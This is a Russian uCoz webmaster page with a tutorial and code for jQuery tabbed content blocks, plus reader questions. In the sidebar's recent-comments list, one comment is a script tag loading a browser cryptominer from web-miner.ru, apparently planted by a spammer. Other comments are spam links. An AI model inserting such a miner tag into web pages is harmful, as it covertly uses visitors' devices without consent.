Среда, 21.02.2018, 10:08
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Пользуетесь ли вы Поиском?


Всего ответов: 1415

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 5
Гостей: 5
Пользователей: 0


Зарегистрировано 30527 (сегодня + 0 новых, вчера + 3 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория HTML коды для uCoz » Добавлено [06.11.2013, 14:56]

Вкладки или табы (tabs) для uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Отличные рабочие красивые и легкоустанавлемые вкладки или от английского слова - табы (tabs) для вашего сайта uCoz. Что же может быть лучше и для кого это надо? Пожалуй, этот материал будет полезен любому веб-мастеру, который ценит пространство своего сайта и наполняет его нужной информацией. Такие вот вкладки дают ему предоставлять выбор посетителю того, что он желает видеть. Будь то последние новости, или комментарии... а может и новые добавленные картинки и видео. Всё это может теперь спрятать и предложить юзеру всего один блок на сайте и при одном нажатие мышки на таб (вкладку) посетитель сам выберите то, что он хочет видеть в данный момент.

  • Если сайт ваш уже готов и теперь осталось только монетизировать его, тогда заходите на портал http://webtrafff.ru и узнайте как заработать в интернете и любую другую информацию о заработке в интернете.

Установка не очень сложная, так как в этом материале вам не нужно будет ничего скачивать и загружать на свой сайт. Главное, в нужное место скопировать коды и отредактировать их под свой сайт. Совет: используйте информеры внутри вкладок. Например, создайте информер  последних комментариев, ленты новостей, фотографий и видео и каждый из информеров вставляйте в свою вкладку, таким образом у вас один блок будет содержать очень много нужной и полезной информации, а пользователь выберет лишь только то, что ему нужно.

Если будут вопросы по установке, то незамедлительно пишите комментарии, а модераторы сайта постараются вам помочь с этим разобраться. Так же кликайте на LIKE и SHARE в социальных сетях.

Разработка материала - Apocalypse. Пример работы вкладок: КЛИК

Установка:

В самый верх вашего css:
Код
* {
padding:0px;
margin:0px;
}
.center {
width:60%;
margin:20px auto 0 auto
}
.marginbot {
margin-bottom:15px
}
ul.list li {
list-style-type:none;
margin-left:20px
}
ul.tabs {
width:100%;
overflow:hidden
}
ul.tabs li {
list-style-type:none;
display:block;
float:left;
color:#fff;
padding:8px;
margin-right:2px;
border-bottom:2px solid #2f2f2f;
background-color:#1f5e6f;
-moz-border-radius:4px 4px 0 0;
-webkit-border-radius:4px 4px 0 0;
cursor:pointer
}
ul.tabs li:hover {
background-color:#43b0ce
}
ul.tabs li.current {
border-bottom:2px solid #43b0ce;
background-color:#43b0ce;
padding:8px
}
.tabscontent {
border-top:2px solid #43b0ce;
padding:8px 0 0 0;
display:none;
width:100%;
text-align:justify
}

Следующий код туда, где должен быть блок со вкладками:
Код
<div id="tabsholder">
<ul class="tabs">
<li id="tab1">Вкладка 1</li>
<li id="tab2">Вкладка 2</li>
<li id="tab3">Вкладка 3</li>
<li id="tab4">Вкладка 4</li>
</ul>
<div class="contents marginbot">
<div id="content1" class="tabscontent">Тут будет ваш текст - http://scripts-for-ucoz.ru</div>
<div id="content2" class="tabscontent">Тут будет ваш текст - http://scripts-for-ucoz.ru</div>
<div id="content3" class="tabscontent">Тут будет ваш текст - http://scripts-for-ucoz.ru</div>
<div id="content4" class="tabscontent">Тут будет ваш текст - http://scripts-for-ucoz.ru</div>
</div>
</div>
<script>
(function ($) {
$.fn.tytabs = function (options) {
var defaults = {
prefixtabs: "tab",
prefixcontent: "content",
classcontent: "tabscontent",
tabinit: "1",
catchget: "tab",
fadespeed: "normal"
}, opts = $.extend({}, defaults, options);
return this.each(function () {
var obj = $(this);
opts.classcontent = "." + opts.classcontent;
opts.prefixcontent = "#" + opts.prefixcontent;

function showTab(id) {
$(opts.classcontent, obj).stop(true, true);
var contentvisible = $(opts.classcontent + ":visible", obj);
if (contentvisible.length > 0) {
contentvisible.fadeOut(opts.fadespeed, function () {
fadeincontent(id)
})
} else {
fadeincontent(id)
}
$("#" + opts.prefixtabs + opts.tabinit).removeAttr("class");
$("#" + opts.prefixtabs + id).attr("class", "current");
opts.tabinit = id
}

function fadeincontent(id) {
$(opts.prefixcontent + id, obj).fadeIn(opts.fadespeed)
}
$("ul.tabs li", obj).click(function () {
showTab($(this).attr("id").replace(opts.prefixtabs, ""));
return false
});
var tab = getvars(opts.catchget);
showTab(((tab && $(opts.prefixcontent + tab).length == 1) ? tab : ($(opts.prefixcontent + opts.tabinit).length == 1) ? opts.tabinit : "1"))
})
};

function getvars(q, s) {
s = (s) ? s : window.location.search;
var re = new RegExp("&" + q + "=([^&]*)", "i");
return (s = s.replace(/^\?/, "&").match(re)) ? s = s[1] : s = ""
}
})(jQuery);

$(document).ready(function () {
$("#tabsholder").tytabs({
tabinit: "1", // Какая вкладка активна по-умолчанию
fadespeed: "normal" // Скорость анимации (fast, normal, slow)
})
})
</script>


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Вкладки или табы (tabs) для uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: HTML коды для uCoz | Добавил: scripts_for_ucoz | Теги: вкладка, tabs, табы, вкладки
Просмотров: 9677 | Загрузок: 0 | Комментарии: 5 | Рейтинг: 0.0/0
Всего комментариев: 5
4 astlike93   (20.01.2016 22:51)
а как сделать чтобы содержимое вкладки было по центру страницы??????? очень срочно надо ребят

0  
5 scripts_for_ucoz   (29.01.2016 18:51)
попробуй сделать так:

<div align="center"> тут код </div>

или

<center> тут код </center>

3 Амо   (24.04.2015 17:26)
Спасибо! Код, прямо вот то, что надо было. Единственное, хочу уточнить за что отвечают вот эти строки:

.center {
width:60%;
margin:20px auto 0 auto
}

ul.list li {
list-style-type:none;
margin-left:20px

}

Я убрала из кода и ничего не поменялось.

2 Егор9261   (11.09.2014 12:30)
ссылкой сделай таб и все

1 karina   (23.06.2014 22:24)
а если я хочу чтобы после нажатия на таб открывалась страница какая нибудь то как надо прописать?*

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz